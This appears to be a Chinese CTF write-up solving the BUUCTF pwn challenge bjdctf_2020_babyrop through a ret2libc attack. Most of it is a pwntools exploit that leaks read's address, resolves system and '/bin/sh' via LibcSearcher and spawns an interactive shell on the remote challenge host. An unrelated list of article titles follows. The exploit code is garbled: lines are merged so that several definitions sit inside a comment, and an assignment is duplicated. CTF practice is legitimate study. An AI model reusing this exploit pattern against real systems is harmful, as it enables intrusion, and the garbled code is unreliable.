[BUUCTF-pwn]——bjdctf_2020_babyrop

  • 题目地址:https://buuoj.cn/challenges#bjdctf_2020_babyrop

还是先checksec 一下

在IDA中看看


利用泄露地址和LibcSearcher库,找到对应的 libc版本算对偏移就可以找到system函数和 ‘/bin/sh’ 字符串.

因为64位,所以找下pop指令

思路: 泄露任意函数地址, 找到对应libc版本, 利用偏移寻找system函数和 ‘/bin/sh’ 字符串.

exploit

from pwn import *
from LibcSearcher import *
#p = process("./bjdctf_2020_babyrop")
p = remote('node3.buuoj.cn',27183)
elf = ELF("./bjdctf_2020_babyrop")
context.log_level = 'debug'
read_plt = elf.plt['read']
read_got = elf.got['read'] #当然你们也可以泄露puts函数的地址都可以puts_plt = elf.plt['puts']pop_rdi = 0x0400733main_addr = 0x04006AD
payload = 'a'*(0x20 + 0x8) + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter("Pull up your sword and tell me u story!\n",payload)
read_addr = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
print hex(read_addr)
libc = LibcSearcher("read", read_addr)libc_base = read_addr - libc.dump("read")
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")payload = payload = 'a'*(0x20 + 0x8) + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
p.sendlineafter("Pull up your sword and tell me u story!\n",payload)
p.interactive()

[BUUCTF-pwn]——bjdctf_2020_babyrop相关推荐

  1. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  4. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. 苹果ppt_你的PPT太low了,学学苹果吧
  2. 第五章、使用复合赋值和循环语句
  3. python画彩色螺旋线_Python turtle 绘制彩色螺旋线
  4. Leetcode 114.二叉树展开为链表
  5. linux下文件编码的查看与转换(转)
  6. 【Oracle】解决问题:pl/sql developer 小钥匙图标下拉框中oracle连接串不加粗显示
  7. HTML+CSS简易淘宝页面
  8. WPF框架剖析,从头开始自己写WPF框架
  9. matlab 采样开关,UPS单模块10kVA单相电压型SPWM逆变器的Simulink模型建立及仿真分析...
  10. linux最大限度压缩文件,在Linux系统上使用最高的zip压缩级别
  11. 四轴mpu6050姿态角卡尔曼滤波代码分析
  12. PS网页设计_新手建站入门视频教程
  13. VMware 14 Pro 虚拟机下CentOS 7操作系统安装教程
  14. 【导数术】12.极值点偏移与拐点偏移
  15. 小米MIUI备份/小米助手数据通过BAK进行恢复 | 生成MIUI的descript.xml文件进行数据恢复 | 手动恢复MIUI备份/小米助手数据
  16. html 苏宁首页,简单实现
  17. Redis key键命令
  18. 壹 2.2 整数表示
  19. Ubuntu 20.04下bochs安装
  20. android 高版本(设备11的)wifi扫描,获取wifi列表

热门文章

  1. 如何向本地MSDN帮助库中添加和修改一些帮助内容
  2. document.execCommand()函数可用参数解析 (转)
  3. 【数据结构与算法】之深入解析“下一个更大元素III”的求解思路与算法示例
  4. 【ARM】Tiny4412裸板编程之ADC
  5. 【Linux】一步一步学Linux——dpkg-divert命令(273)
  6. 【计算机类】大学生计算机专业电子书汇总
  7. python openstack oslo_config使用_OpenStack配置解析库oslo.config的使用方法
  8. 常见排序算法详解 (收藏!)
  9. 1042 字符统计 (20 分)(c语言)
  10. fortran的bug:Fortran runtime error: Unit number in I/O statement too large